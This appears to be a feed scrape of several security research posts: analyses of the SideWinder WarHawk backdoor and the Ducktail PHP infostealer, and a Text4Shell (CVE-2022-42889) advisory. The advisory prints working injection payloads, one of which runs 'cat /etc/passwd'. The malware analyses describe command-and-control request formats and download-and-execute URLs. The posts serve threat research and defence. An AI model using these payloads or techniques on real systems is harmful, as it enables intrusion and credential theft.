https://github.com/ionescu007/clfs-docs/blob/main/README.md http://blog.rewolf.pl/blog/?p=1683 Fri, 28 Oct 2022 08:00:02 -0700 Kai Lu https://www.zscaler.com/blogs/security-research/technical-analysis-windows-clfs-zero-day-vulnerability-cve-2022-37969-part2-exploit-analysis https://www.zscaler.com/blogs/security-research/warhawk-new-backdoor-arsenal-sidewinder-apt-group-0 Recently, Zscaler ThreatLabz discovered a new malware being used by the SideWinder APT threat group in campaigns targeting Pakistan: a backdoor we’ve called “WarHawk.” SideWinder APT, aka Rattlesnake or T-APT4, is a suspected Indian Threat Actor Group active since at least 2012, with a history of targeting government, military, and businesses throughout Asia, particularly Pakistan. The newly discovered WarHawk backdoor contains various malicious modules that deliver Cobalt Strike, incorporating new TTPs such as KernelCallBackTable Injection and Pakistan Standard Time zone check in order to ensure a victorious campaign. Zscaler’s ThreatLabz research team has performed an in-depth analysis of the WarHawk backdoor and its use in threat campaigns below. Key Features of this Attack SideWinder APT campaign targets Pakistan with a new backdoor named “WarHawk” The WarHawk Backdoor consists of four modules: Download & Execute Module Command Execution Module File Manager InfoExfil Module UploadFromC2 Module WarHawk is commissioned to deliver Cobalt Strike as the final payload which has been downloaded and executed using the Download & Execute Module. The custom Cobalt Strike loader used by the SideWinder APT leverages the KernelCallBackTable Process injection (a technique previously used by FinFisher and Lazarus APT) to load the Cobalt Strike beacon, along with a Time Zone check that makes sure that the loader is executed only when under Pakistan Standard Time. The SideWinder APT makes use of ISO Files bundled with a LNK file, a decoy PDF displaying copies of cybersecurity advisories released by the Pakistan Cabinet Division (used as a lure), and the WarHawk backdoor which is executed by the LNK File. We discovered the ISO file hosted on the legitimate website of Pakistan's National Electric Power Regulatory Authority “nepra[.]org[.]pk” which may indicate a compromise of their web server. We were able to attribute this campaign to the SideWinder APT based on the reuse of network infrastructure that has previously been used by SideWinder for various espionage activities against Pakistan. Campaign Analysis In the month of September 2022, we came across an ISO File “32-Advisory-No-32.iso” hosted on the official website of the Pakistan’s National Electric Power Regulatory Authority “nepra[.]org[.]pk.” NEPRA is commissioned to provide safe, reliable, efficient and affordable electric power to the electricity consumers of Pakistan. It is possible that this ISO file was uploaded to the server due to web server compromise. ISO URL: https[:]//nepra[.]org[.]pk/css/32-Advisory-No-32[.]iso Fig 1. National Electric Power Regulatory Authority Website We then downloaded the ISO File from the above mentioned URL which consisted of the following bundled files. 32-Advisory-No-32-2022.lnk - Malicious LNK File 32-Advisory-No-32-2022.pdf - Decoy PDF RtlAudioDriver.exe - Malicious Binary Fig 2. Contents of the Malicious ISO File The .LNK File had a PDF icon to lure the victim into execution. Once the .LNK File is executed, it runs the malicious binary “RtlAudioDriver.exe” along with the decoy PDF “32-Advisory-No-32-2022.pdf” to distract the victims. It does so with the help of the command shown in the following screenshot. Fig 3. Execution of Malicious Binary & Decoy PDF via the LNK File Following is the Decoy PDF executed by the LNK File with the Subject: Phishing Site - Masqueraded Links (Advisory No. 32) in the screenshot below Fig 4. Decoy PDF The content for the PDF was copied from an actual advisory previously released by the Cabinet Division of Pakistan Government regarding the “Masqueraded Links used by the Malicious Actors in Phishing Campaigns” on their official website cabinet[.]gov[.]pk Link: https[:]//cabinet[.]gov[.]pk/SiteImage/Misc/files/NTISB%20Advisories/2022/32-Advisory-No-32-2022[.]pdf Fig 5. Original Advisory on Pakistan Government Cabinet Division Website Alongside the Decoy PDF, the Malicious binary “RtlAudioDriver.exe'' is also executed by the LNK File. A few days after this initial discovery, ThreatLabz came across another related ISO File named “33-Advisory-No-33-2022.pdf.iso” which similarly copied a real “Advisory No. 33” from the Pakistan Cabinet Website as a lure. This ISO similarly consisted of three files, including aWindows Shortcut file commissioned to execute the binary “MSbuild.exe” and a decoy PDF “33-Advisory-No-33-2022.pdf” to fool the victims as shown in the screenshot below. Fig 6. 33-Advisory-No-33-2022 Campaign Upon analyzing both the binaries “RtlAudioDriver.exe” and “MsBuild.exe,” we discovered that this was a new backdoor added to the arsenal of the SideWinder APT Group. We termed it “WarHawk” Backdoor based on the CnC panel title, as shown in the below screenshot. In this case, the “MsBuild” binary is the newer version of the backdoor, with a few additional features compared to “RtlAudioDriver” (the older one). Below, we will share our in-depth analysis to understand the inner workings of the WarHawk Backdoor. Fig 7. WarHawk CnC Panel Analysis - WarHawk Backdoor The “WarHawk Backdoor” disguises itself as legit applications to lure unsuspecting victims into execution, as shown in the screenshot below. Fig 8. WarHawk Backdoor disguises as legit applications Once executed, the WarHawk first enumerates the base address of the Kernel32.dll by iterating the InMemoryOrderModuleList linked list present in the Process Environment Block (PEB). The instructions it uses are shown in the screenshot below. Fig 9. Enumerate Base Address of Kernel32.dll via PEB Once the base address of Kernel32.dll is enumerated, WarHawk then decrypts a set of API & DLL names using a String Decryption Routine which takes the Encrypted Hex Bytes as an input and then subtracts each byte with the Key: "0x42" in order to decrypt the string. Fig 10. String Decryption Routine - WarHawk Leveraging the decryption logic, we wrote a string decryptor for the WarHawk backdoor through which we were able to decrypt the following Strings from the Encrypted Hex Blobs: LoadLibraryA GetUserNameA GetCurrentHwProfileA Advapi32 GetProcAddress GetComputerNameA Fig 11. Decrypted Strings from the WarHawk String Decryptor Initially the WarHawk decrypts the LoadLibraryA and GetProcAddress API Names, then loops through all the exported functions from the Export Table and compares them with the decrypted function names. If the comparison matches, it fetches the address of the corresponding function name—in this case, LoadLibraryA() and GetProcAddress(). Fig 12. Fetches the Address of the Decrypted Function Names Next, it decrypts the string “Advapi32'' and loads the Advapi32.dll into the virtual memory with the help of LoadLibraryA(). It then retrieves the address of the GetCurrentHWProfileA() function via the GetProcAddress() from the Advapi32.dll. Here, the GetCurrentHWProfileA string is decrypted via a similar string decryption routine. After decryption, it executes the GetCurrentHWProfileA() to retrieve the GUID (Globally Unique Identifier) for the hardware profile. Fig 13. Retrieves the GUID for the hardware profile using GetCurrentHWProfileA The retrieved GUID is then concatenated with the _hwid parameter in the following JSON format: { "_hwid": "{GUID}" } As shown in the screenshot below: Fig 14. GUID concatenated with the _hwid parameter Further, the WarHawk Backdoor sends across an initial beacon POST request to the hardcoded Command & Control Server “146[.]190[.]235[.]137” using the HTTPSendRequestW() with the GUID in the JSON format as its parameters and the request URL “/wh/glass.php,” as shown and explained in the screenshot below: Fig 15. Initial Beacon Request to the CnC Server with the GUID Now it reads the response via InternetReadFile(). If the response is “0” in the newer sample and “1” in the older sample, it gathers the following System Information as mentioned below and then sleeps for 2 seconds: Retrieves the Computer/NetBios Name via GetComputerNameA() Retrieves the UserName via GetUserNameA() Retrieves the Windows Product Name from the “SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName” Registry Key via the RegQueryValueExA() Once all of the above mentioned system information has been gathered it is arranged in the following JSON format using the similar wsprintf() method explained previously: { "_hwid": "{GUID}", "_computer": "Computer_Name", "_username": "User_Name", "_os": "Windows_Product_Name" } It then sends across the System information in the JSON format to the Command & Control server using the HTTPSendRequestW(), as shown and explained in the screenshot below: Fig 16. Gathered System Information sent across to the CnC server After sending the System Information, it sends a JSON ping request to the Command and Control server as shown in the screenshot below, using the similar WinINet functions: Fig 17. JSON Ping Request to the CnC Server If the response to the JSON ping request is “del” as shown in the screenshot below, WarHawk skips the main malicious functions and sends across a “_del”: “true” request to the Command and Control and then exits the process as shown in Fig 19. Fig 18. JSON Ping Request to the CnC Server Fig 19. Sends DEL Request and Exits the Process If the response to the JSON ping request is not “del”, the WarHawk Backdoor executes the backdoor modules integrated in WarHawk: Download & Execute Module This module is responsible for downloading and executing additional payloads from the remote URL provided by the CnC server. At first, the WarHawk sends across a task initiation request to the Command and Control as shown in the screenshot below. This request is in the JSON format using a similar Send_Req function incorporating the WinINet functions. Fig 20. WarHawk Task Initiation Request The CnC responds to this request in the following JSON format with the id, type, and remote URL: { "_task": "true", "_id": "id_no", "_type": "type_no", "_url": "Remote_URL" } In the below screenshot, we can see the response from the CnC. It contains a remote URL that leads to the Stage-2 payload, which would be downloaded and executed further by the backdoor. Fig 21. Response to Task Initiation Request consisting of the Remote URL Once the JSON response is received, the WarHawk then parses the parameters _id, _type and _url using an ultralight weight JSON parser library “cJSON,” as shown below. Fig 22. Parse JSON Response parameters using cJSON Further it checks the parsed _type parameter. If _type value is “1” the backdoor downloads the additional payload from the parsed _url parameter containing the Remote URL, with the help of the URLDownloadToFileA function, into the Temp directory where the filename is randomly generated and concatenated with the extension provided in the remote URL. Once the payload is downloaded the backdoor executes the downloaded payload with the help of the ShellExecuteA() function. If the _type is “2” then the payload must be a “Dynamic Link Library,” as in this case the payload is downloaded via URLDownloadToFileA and then loaded into the virtual memory using LoadLibrary(). Finally, if the _type is “3,” then the process is similar to the _type value “1”. The only difference is that the process exits at the end through the ExitProcess() function. Fig 23. Download and Execute Additional Payloads from the Remote URL Once the Stage-2 payload is downloaded and executed on the infected machine and the task is completed, the WarHawk sends across a Task Completion request to the Command and Control server in the following manner: Fig 24. WarHawk Task Completion Request Thus, in the following manner the additional payloads are downloaded and executed from the Remote URL served from the CnC server. In this case there are multiple payloads which are downloaded and executed by the WarHawk backdoor which are analyzed later in the blog. Command Execution Module The command execution module is responsible for execution of system commands on the infected machine received from the Command & Control. WarHawk starts by sending across the Command Execution Initiation request with the GUID of the system as shown in the screenshot below. Fig 25. WarHawk Command Execution Initiation Request The response to this Initiation request consists of the command to be executed. Let’s analyze the routine assuming that the received command is “whoami”. The received command is passed as an argument to the CMD.exe process which has been spawned using ShellExecuteA. The command arguments passed to the CMD.exe process can be seen in the screenshot below. Fig 26. WarHawk Command Execution In this case, the output of the command received from the CnC “whoami” is stored in a “.bin” file in the Temp directory where the file name is generated using a random name generator function, as shown above. Further, this “.bin” file in the Temp Directory is read using ReadFile() and then deleted to clear its tracks. The command output content is then base64 encoded, arranged in the following JSON format, and then sent across to the Control Control server 146[.]190[.]235[.]137 using HttpSendRequestW(): { "_hwid": "GUID", "_cmd_done": "true", “_response”:”base64enc_cmd_output”} Fig 27. Sending Command Output response to CnC Server If there is no output of the command executed on the machine, it sets the _response parameter as “0” in the JSON response. Thus, in the following manner the WarHawk performs the command execution routine where it receives the commands from the Command and Control and the backdoor executes them and sends the output to the CnC in an base64 encoded platform. Here the routine executes in a loop until the response to the JSON Ping request is not “del,” allowing the Threat actors to execute multiple commands on the infected machine. File Manager InfoExfil Module The following module is responsible for gathering and sending across the File Manager information by initially sending across an Module initiation request to the CnC server as shown below: Fig 28. File Manager Initiation Request Now if the response to the initiation request is “drive” the WarHawk determines the drive type by looping through the drive letters from A-Z. Itfirst checks whether the drive exists with the help of PathFileExistsA(); if it exists, it then fetches the drive type using GetDriveTypeA() such as DRIVE_FIXED or DRIVE_REMOVABLE as shown and explained in the below screenshot: Fig 29. Determine Drive Type After this, the gathered information consisting of the existing drives and their types is sent across to the CnC in the following JSON format: Fig 30. Drive Information sent across to CnC in JSON Format Further if the response to the initiation request is a Directory Path such as “C:\Dump\,” then the backdoor searches in the following directory for files and folders recursively using FindFirstFileA() and FindNextFileA(). Whilst performing the recursion it fetches the File Name, File size, Modification date, File Type, and then towards the end sends across all the information to the CnC Server in the JSON format: Fig 31. WarHawk sends across File/Folder information to CnC in JSON Format UploadFromC2 Module The following module is a new feature added in the latest WarHawk Backdoor (MsBuild.exe), allowing the threat actor to upload files on the infected machine from the Command and Control Server. Initially the UploadFromC2 Module sends across a routine initiation request to the CnC server in the following JSON format: Fig 32. UploadFromC2 Module initiation request The response to this request should be a JSON response received from the CnC server consisting of following two parameters: _upload - File name of the target file to be uploaded on the infected machine from the CnC server _path - Path where the target uploaded file is to be saved on the infected machine Further the JSON response is parsed using the previously used cJSON Library, and then the _upload value is concatenated with the hardcoded CnC URL: http[:]\\146[.]190[.]235[.]137\wh. For example, if _upload = “stage2.exe,” the final URL becomes http[:]\\146[.]190[.]235[.]137\wh\stage2.exe. The WarHawk then downloads the file from the final CnC URL: http[:]\\146[.]190[.]235[.]137\wh\stage2.exe using URLDownloadToFileA() and writes it to the current directory using the same file name “stage2.exe” (or, if the _path value exists, it writes the downloaded file to that path as shown in the routine below): Fig 33. UploadFromC2 Module Routine As can be seen from the screenshot, if the file has been downloaded successfully the WarHawk backdoor then sends a JSON request to the CnC Server with “_uploadstatus”:“true” and if not sends across “_uploadstatus”:”false”. In the following way the WarHawk Backdoor performs its espionage activities by incorporating various modules. Stage 2 Analysis Based on the analysis of the WarHawk backdoor, we are aware that the backdoor has the capability to download and execute additional payloads. While tracking the SideWinder’s espionage campaign we came across WarHawk downloading three additional Stage-2 Payloads from the Command and Control at the time of writing this blog. Below, we analyze the Stage-2 Payloads downloaded by WarHawk. Snitch.exe - Cobalt Strike Loader using KernelCallbackTable Process Injection The WarHawk downloads and executes the Cobalt Strike Loader using the Download & Execution Module from CnC URL: http[:]//146[.]190[.]235[.]137/Snitch.exe. Once executed the Loader performs the following Anti-Analysis checks: Anti-Sandbox: - Checks whether the Numbers of Processors are at least two using GetSystemInfo() - Checks Minimum RAM using GlobalMemoryStatusEx() - Checks whether the Hard Disk drive size is greater than 40GB via sending a IOCTL_DISK_GET_DRIVE_GEOMETRY control code to the PhysicalDrive0 via DeviceIoControl Time-Zone Check: The Loader performs the Time Zone Check using GetDynamicTimeZoneInformation(), It inspects whether the time zone under which the code executed is “Pakistan Standard Time;” if not, the loader does not perform any malicious actions and exits the process. From this check we can deduce that the malware is specifically targeted towards Pakistan by the SideWinder APT Group: Fig 34. Anti-Analysis Checks Once all the Anti-Analysis Checks are satisfied, the loader then unhooks the NTDLL.dll (hooked) by mapping another fresh copy of NTDLL using MapViewOfFile() in memory and then replaces the .text section of the hooked NTDLL with the .text section of the fresh NTDLL. This technique allows the Loader to evade Userland API hooks placed on the Native API’s by EDRs. Fig 35. NTDLL UnHooking Further the loader performs the KernelCallbackTable Process Injection in order to inject shellcode into a remote process. This technique was previously used by FinFisher and Lazarus APT Group, but now is also used by SideWinder APT. The process injection code in this case has been reused from the following blog as can be seen in the screenshot below: Fig 36. Reused KernelCallbackTable Process Injection Routine Now once initiated the Loader injects the shellcode in the remote process “notepad.exe” and then executes the payload when the SendMessageW function is called with WM_COPYDATA, which in turn invokes fnCOPYDATA which points to the address of the payload. The following sample was crashing once executed but upon patching a few instructions related to WaitForInputIdle() function we were able to execute it seamlessly and then debug the shellcode which then decrypted and loaded the embedded binary in the virtual memory. We further dumped the loaded binary which was a Cobalt Strike Beacon as seen in the screenshot below: Fig 37. Cobalt Strike Beacon Injected into the Remote Process via KernelCallbackTable Process Injection Further we found multiple similar CS Loaders and extracted the configuration for the Cobalt Strike Beacons: Beacon Type: Hybrid HTTP DNS Cobalt Strike C2: fia-gov[.]org Fig 38. Cobalt Strike Configuration - 1 OneDrive.exe and DDRA.exe - Cobalt Strike Beacons Along with the CS Loader, both of these payloads were also downloaded and executed from the CnC Server URL: http[:]//146[.]190[.]235[.]137/OneDrive.exe and http[:]//146[.]190[.]235[.]137/DDRA.exe. We extracted the configuration for both the Cobalt Strike beacons with similar CnC servers as seen in the screenshot below: DDRA.exe - Beacon Type: Hybrid HTTP DNS Cobalt Strike C2: fia-gov[.]org Fig 39. Cobalt Strike Configuration - 2 OneDrive.exe Beacon Type: Hybrid HTTP DNS Cobalt Strike C2: fia-gov[.]org Fig 40. Cobalt Strike Configuration - 3 The CnC server domain: fia-gov[.]org used by the SideWinder APT mimics the domain name of Pakistan’s Federal Investigation Agency fia[.]gov[.]pk which is the premier agency of Pakistan at national level to investigate federal crimes. Also we found another similar CS Loader sample with the CnC server as: customs-lk[.]org, in this case it mimics the domain name of Sri Lanka Customs customs[.]gov[.]lk, possibly a SideWinder campaign targeting Sri Lanka. The “campaign_id” in this case is similar to the CS Loader analyzed previously as can be seen in the screenshot below. Fig 41. Cobalt Strike Configuration - 4 Attribution to SideWinder APT SideWinder APT is reckoned as a Indian Threat Actor Group predominantly targeting Pakistan. We were able to attribute the following campaign to the SideWinder APT based on the network infrastructure as shown below in the graph. Fig 42. SideWinder Network Infrastructure As can be seen in the above screenshot, the IP: 3[.]239[.]29[.]103 hosts the domains “fia-gov[.]org” and “customs-lk[.]org” which were the CnC servers for the Cobalt Strike beacons in the following campaign as shown earlier. Now if we take a look at the following other domains hosted on the same IP: nationalhelpdesk[.]pk mofa-pk[.]org sngpl[.]org[.]pk These domains were previously reported and were actively used by the SideWinder APT Group for espionage campaigns. Based on the reuse of the network infrastructure we can deduce that this WarHawk campaign is also performed by the SideWinder APT Group targeting Pakistan. The indicators listed below also assist us in determining that the campaign is targeted at Pakistan: ISO files hosted on the Pakistan’s National Electric Power Regulatory Authority website Advisories released by the Pakistan’s Cabinet Division used as a lure Time Zone check for “Pakistan Standard Time” which makes sure that the malware is only executed under Pakistan Standard Time. Zscaler Sandbox Coverage: Fig. 43 The Zscaler Cloud Sandbox successfully detected the WarHawk backdoor Win32.Backdoor.WarHawk Conclusion The SideWinder APT Group is continuously evolving their tactics and adding new malware to their arsenal in order to carry out successful espionage attack campaigns against their targets. The Zscaler ThreatLabz team will continue to monitor these attacks to help keep our customers safe MITRE ATT&CK TTP MAPPING ID TACTIC TECHNIQUE T1566 Initial Access Phishing T1190 Initial Access Exploit Public Facing Application T1204 Execution User Execution T1059 Execution Command and Scripting Interpreter T1140 Defense Evasion Deobfuscate/Decode Files or Information T1564 Defense Evasion Hide Artifacts T1055 Defense Evasion Process Injection T1071.001 Command and Control Application Layer Protocols - Web Protocols T1041 Exfiltration Exfiltration over C2 Channel IoCs: ISO: 32-Advisory-No-32.iso: d510808a743e6afc705fc648ca7f896a URL: nepra[.]org[.]pk/css/32-Advisory-No-32[.]iso 33-Advisory-No-33-2022.pdf.iso: 63d6d8213d9cc070b2a3dfd3c5866564 WarHawk Backdoor: WarHawk_v1: 8f9cf5c828cb02c83f8df52ccae03e2a WarHawk_v1.1: 5cff6896e0505e8d6d98bff35d10c43a CnC: 146[.]190[.]235[.]137/wh/glass[.]php Cobalt Strike: Snitch.exe CS Loader: ec33c5e1773b510e323bea8f70dcddb0 URL: 146[.]190[.]235[.]137/Snitch[.]exe OneDrive.exe CS Beacon: d0acccab52778b77c96346194e38b244 URL: 146[.]190[.]235[.]137/OneDrive[.]exe DDRA.exe CS Beacon: 40f86b56ab79e94893e4c6f1a0a099a1 URL: 146[.]190[.]235[.]137/DDRA[.]exe Cobalt Strike CnC: fia-gov[.]org & customs-lk[.]org Fri, 21 Oct 2022 09:00:01 -0700 Niraj Shivtarkar https://www.zscaler.com/blogs/security-research/warhawk-new-backdoor-arsenal-sidewinder-apt-group-0 https://www.zscaler.com/blogs/security-research/security-advisory-apache-commons-text-remote-code-execution-vulnerability Background: On 13th Oct 2022 the Apache Software Foundation released a security advisory mentioning the patch and mitigation details to address a remote code execution vulnerability CVE-2022-42889. Same vulnerability has created too much buzz in the last several hours, especially after PoC showcasing verification of the vulnerability was published. Apache Commons Text library contains a set of Java classes that contain algorithms for measuring and manipulating strings. It helps in performing variable interpolation provided by attributes such as "$prefix:name" that can be dynamically evaluated and expanded. The "prefix" is used to find a specific instance of the interpolating org.apache.commons.text.lookup.StringLookup class. As per the advisory this vulnerability exists in Apache Commons Text version 1.5 through 1.9. This vulnerability, CVE-2022-42889 is popularly referred to as “Text4Shell” or “Act4Shell”. What is the issue? The vulnerability exists in the StringSubstitutor interpolator object of Apache Common Text library (org.apache.commons.text). An interpolator is created by the StringSubstitutor.createInterpolator() method and will allow for string lookups as defined in the StringLookupFactory here. This can be used by passing a string “${prefix:name}” where the prefix is one of below mentioned lookup strings. "script" - execute expressions using the JVM script execution engine (javascript.js) "dns" - performing dns resolution "url" - call to the entered url including remote servers The “script”, “dns”, or “url” lookups would allow a crafted string to execute arbitrary scripts when passed to the interpolator object. The attacker can send a crafted payload remotely using “script”, “dns” and “url” lookups to achieve arbitrary remote code execution. PoC Verification: The following code snippet demonstrates the proof of concept for the vulnerability in commons-text (v1.9). The proof of concept shows execution of command via crafted payload resulting in creation of a directory called ThreatLabZ in /home directory. Possible Executions : ${script:js:java.lang.Runtime.getRuntime().exec("mkdir /home/ThreatLabZ")} ${script:js:java.lang.Runtime.getRuntime().exec("cat /etc/passwd")} ${url:URL} ${env:PATH} ${dns:D_name} Affected products: This vulnerability affects the following Apache Commons Versions: Apache Commons Text versions 1.5 through 1.9. Mitigations: Apache Commons Text should upgrade to 1.10.0, which disables the problematic interpolators by default. We recommend that you install these patches as they become available, and prioritize any where the vendor indicates that their implementation may be remotely exploitable. Zscaler Coverage: Zscaler’s ThreatLabZ team has deployed protection. Zscaler Private Access AppProtection: Deserialization Issues: 944130 (Suspicious Java Class Detected) Remote Code Execution: 932130 (Unix Shell Expression Found) Zscaler Advanced Threat Protection: Apache.Exploit.CVE-2022-42889 As further information comes in or additional protection is put into place, Zscaler will update this publication accordingly. Resources: https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om https://nvd.nist.gov/vuln/detail/CVE-2022-42889 https://github.com/SeanWrightSec/CVE-2022-42889-PoC https://github.com/karthikuj/cve-2022-42889-text4shell-docker Tue, 18 Oct 2022 23:44:50 -0700 Vishal Sangolekar https://www.zscaler.com/blogs/security-research/security-advisory-apache-commons-text-remote-code-execution-vulnerability https://www.zscaler.com/blogs/security-research/new-php-variant-ducktail-infostealer-targeting-facebook-business-accounts Introduction In evaluating the spate of info-stealing malware being distributed over past couple of months, the Zscaler ThreatLabz research team has come across an interesting campaign. The PHP version of Ducktail Infostealer is actively being distributed by pretending to be a free/cracked application installer for a variety of applications including games, Microsoft Office applications, Telegram, and others. Ducktail has been around since 2021, and is attributed to a Vietnamese threat group. Campaigns to-date have focused on taking over Facebook Business accounts, both to manipulate pages and to access financial information. This blog will show the attack chain, decipher and explain the stages of execution, and provide technical analysis of the PHP code of Ducktail Infostealer. Executive summary The instances of the Ducktail infostealer were identified in late 2021. In July 2022, WithSecure Labs observed that the threat actors were targeting higher-level employees with access to their organization’s Facebook Business account, with the intent of stealing data and hijacking the accounts. Earlier versions (observed by WithSecure Labs) were based on a binary written using .NetCore with Telegram as its C2 Channel to exfiltrate data. In August 2022, the Zscaler Threatlabz team saw a new campaign consisting of a new edition of the Ducktail Infostealer with new TTPs. Like older versions (.NetCore), the latest version (PHP) also aims to exfiltrate sensitive information related to saved browser credentials, Facebook account information, etc. In this campaign, we have seen that the threat actors keep data on a newly hosted website in the JSON format. This data is used and called later on to perform stealing activities on the victim’s machine. Once the theft is completed, the same website is used to store the stolen data. The threat actors are now targeting the public at large, rather than specifically targeting employees with Admin or Finance access to Facebook Business accounts. While exploring the campaign, we observed that the malicious executable files are mostly in .ZIP format and hosted on file sharing platforms, posing as cracked or free versions of Office applications, games, subtitle files, porn related files, and others. Attack Chain & Flow of Execution The following figure is a pictorial representation of how the PHP version of Ducktail stealer is being distributed and its execution on the victim's machine. Figure 1: Attack chain & Flow of Execution Similar to previous attacks, the malicious installer is being hosted at a file hosting website which in our case was “mediafire[.]com”. However, compared to previous campaigns, changes have been made in the execution of malicious code. Now, the threat actors have switched to a scripting version whereby the main stealer code is a PHP script and not a .Net binary. For the purpose of analysis, we have taken DF071DF2784573C444CA6E1421E3CB89 md5 to demonstrate the execution flow and to explain the PHP script carved out from the same. Execution Flow Upon execution, the fake installer pops-up a ‘Checking Application Compatibility’ GUI in the frontend. In the backend, it generates a .tmp file that re-initiates the installer with “/Silent” parameter and thereafter another .tmp file gets generated. The latter generated .tmp file then drops all the supporting files and malicious files at “%Localappdata%\Packages\PXT\v2-0\” location (in our present scenario) and then executes two processes (as depicted in above figure) to achieve the below mentioned purposes. Job Scheduling/Persistence: To achieve persistence, a series of events takes place to execute the malicious payload, named “libbridged.exe”, on the system. Its purpose or functionality is to schedule tasks in three forms to ensure that the malicious code gets executed on a daily basis and on regular intervals. In order to achieve the same, a PHP script is passed as an input to the php.exe rather than directly leveraging the job scheduling binary. The PHP script (in our present case named as “switcher.php”) consists of code to decrypt a base64 encoded text file (which in our case is named as “switcher.txt”). The execution of the decrypted version of the text file will lead to the execution of the custom job scheduling binary as the final outcome, as shown in the below screenshot. Figure 2: Job Scheduling The job scheduling binary is a dotNet binary. The below figure exhibits the code present inside the binary, aiming to schedule tasks at three different levels. Figure 3: Code of custom Job scheduling binary Stealing of data and its exfiltration: Similar to previous steps, the stealer code also gets decrypted at runtime in memory and subsequently performs stealing operations and exfiltration of data. The code explanation of the same will be discussed later. It is worth noting that instead of making a one-go binary that would perform all actions, the threat actors have divided the execution into parts based on their intended purpose. With that, let’s dive into the technical analysis of the Ducktail PHP code. Code Analysis of Ducktail PHP script Here, the primary task is to call a PHP script which performs malicious functions in the system. Instead of calling the script directly, it walks through a sequence of steps. We are able to fetch the decoded malicious code through memory and following are the findings of it: Maware functionality summary Fetches browser information installed in the system. Pulls out stored information of browser cookies from the system. Targets Facebook Business accounts. Looks for crypto account information in the wallet.dat file. Collects and sends the data to the command and control (C&C) server. Firstly, the stealer creates PHP Associative Arrays which will be used at the time of sending the data to C&C. Please find the following screenshot for this: Figure 4: Sending data to command-and-control server It uses the CURL command for receiving and sending the files over HTTP. Below is the list of switches used by malware during communication : CURLOPT_URL : Data to send CURLOPT_RETURNTRANSFER : Converts output to a string rather than directly to the screen. CURLOPT_ENCODING : tells the server what types of encoding it will accept. CURLOPT_MAXREDIRS : maximum number of redirects allowed CURLOPT_TIMEOUT : maximum time the transfer is allowed to complete CURLOPT_HTTP_VERSION : specifies HTTP protocol version to use CURLOPT_CUSTOMREQUEST : Request method such as GET, POST CURLOPT_POSTFIELDS : Data to POST to server. CURLOPT_SSL_VERIFYPEER : verifies the peer's SSL certificate. Value should be either TRUE or FALSE. Figure 5: CURL commands to send and receive data The following table articulates the various functions performed by the stealer: Command Description upload Victim sensitive information uploaded to the server getTask Creates the pattern of stolen data which will be sent during POST request getMac Fetches the details of machine ID from the victim system readDirs Gets the details of different directories from which data will be stolen deleteAllFolder Deletes all the files and folders where malware copied the stolen information Xcopy with 0755 Copies files and directories, including subdirectories with 0775 permission, which means read and execute access for everyone and also write access for the owner of the file BVZipArchive Compresses all the stolen files and folders Browser Extracts the information of installed browsers in the victim machine parseCookie Extracts details of browser cookies from the system parseChromium Extracts details of Chrome browser parseMoz Extracts details of Mozilla browser Browser Stealing The malicious script collects information about installed browsers in the system and extracts the required data from it such as machineID, browser version, and filename, and copies this data. It performs following steps during browser stealing: Gets the details of profiles used in Chrome browser. Using the profile we can maintain information of different accounts separately such as apps, bookmarks, accounts, etc. Gets the details of the local state file in the “%APPDATA%/Google/Chrome/User Data” in Windows. Local State is a JSON file that is located directly under Chrome's user data directory. This file allows you to find the list of created profiles. As it is a JSON file, it decodes to a PHP object using the “json_decode” function. Once it gets the local state file access, it tries to get the information for the os_crypt field present in the local state file which is base-64 encoded. This includes victims’ profile information and other highly sensitive data protected by OSCrypt by Chrome in the local state file. It tries to decode data using an AES 256 decrypt key which is called by currentdata40.exe file. Usually Chrome encrypts its highly sensitive data using AES 256 encryption. This feature is known as local data encryption. After that it encodes the stolen information to base64 and saves it to filename log.txt. Cookie information is saved to c.txt and then sent to C&C. It specifically checks if there is any cookie name with “Facebook” that has logged recently as well. Please find the screenshot below: Figure 6: Browser stealing routine Targeting Facebook to steal information The malware scrutinizes the various Facebook pages to steal information from them. These pages belong to Facebook API graph, Facebook Ads Manager, and Facebook Business accounts. It uses the c_user argument which is placed by Facebook to fetch the unique User ID of the victim machine, as shown in the below screenshot. Figure 7: c_user argument is used to fetch the Facebook user ID Looking over Facebook Business Ads Manager links, the malware will try to get details of accounts and payment cycles which it will later combine with details that have already been fetched from the local state file. Figure 8: Malware looks for account details The following are the details that the malware attempts to fetch from the Facebook Business pages: Payment initiated Payment required Verification Status Owner ad accounts Amount spent Currency details Account status Ads Payment cycle Funding source Payment method [ credit card, debit card etc.] Paypal Payment method [email address] Owned pages. Figure 9: Account fields being fetched Network activity Post infection, the PHP script tries to connect to the C&C server to get the list of contents stored in JSON format, which further will be used to gather information. The URL pattern of the same is shown below: Figure 10: Retrieving JSON data from command and control site Instead of using the hardcoded targeted folder names and URLs, the threat actors have kept a list of targeted folders and URLs which gets downloaded from the C&C panel first and then the information is collected. Figure 11: Contents kept at C&C location which will be used for achieving successful implementation of stealing code After it has completed its stealing activities, the malware then sends the data to its C&C server in JSON format, as shown in below figure. Figure 12: Stolen data sent to command and control server Conclusion It seems that the threat actors behind the Ducktail stealer campaign are continuously making changes or enhancement in the delivery mechanisms and approach to steal a wide variety of sensitive user and system information targeting users at large. Zscaler’s ThreatLabz team is continuously monitoring the campaign and will bring to light any new findings that it will come across. Zscaler Sandbox Report In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects payloads with following threat name: Win32.PWS.Ducktail Indicators of Compromise (IoCs) Md5 Filename PDB Path Purpose DF071DF2784573C444CA 6E1421E3CB89 Office Pro 2021.exe None To drop supporting files and executing the malicious files 2FE1997F5339F97598DA 1FEE5C1201A4 Cunprotectdata40.exe E:\Workspace\Projects\scancookieserver2\ ToolsCheckCookie\CUnProtectData\ obj\Release\cunprotectdata.pdb To drop supporting files and executing the malicious files F7C7E9C1CD68602F9BBB 5033B3794E26 Cunprotectdata20.exe E:\Workspace\Projects\scancookieserver2\ ToolsCheckCookie\CUnProtectData\obj\ Release\cunprotectdata.pdb customized utility for getting browser password decryption key 8DC37D09F1A77B939A7373 E6134E4824 libbridged.exe C:\Users\Elon Musk VB\Workspace\ scancookieserver2\ToolsCheckCookie\ UpdaterTriggerPHP\obj\Release\ libbridged.pdb Job Scheduling binary 321442C6546A63E5315EB321 341DFBBA libbridged.exe E:\Workspace\Projects\scancookieserver2\ ToolsCheckCookie\UpdaterTriggerPHP\ obj\Release\libbridged.pdb Job Scheduling binary 129a3ff92f28eda3cf830b53f19c acef switcher.txt None encoded text file which consists of commands to execute Job Scheduling 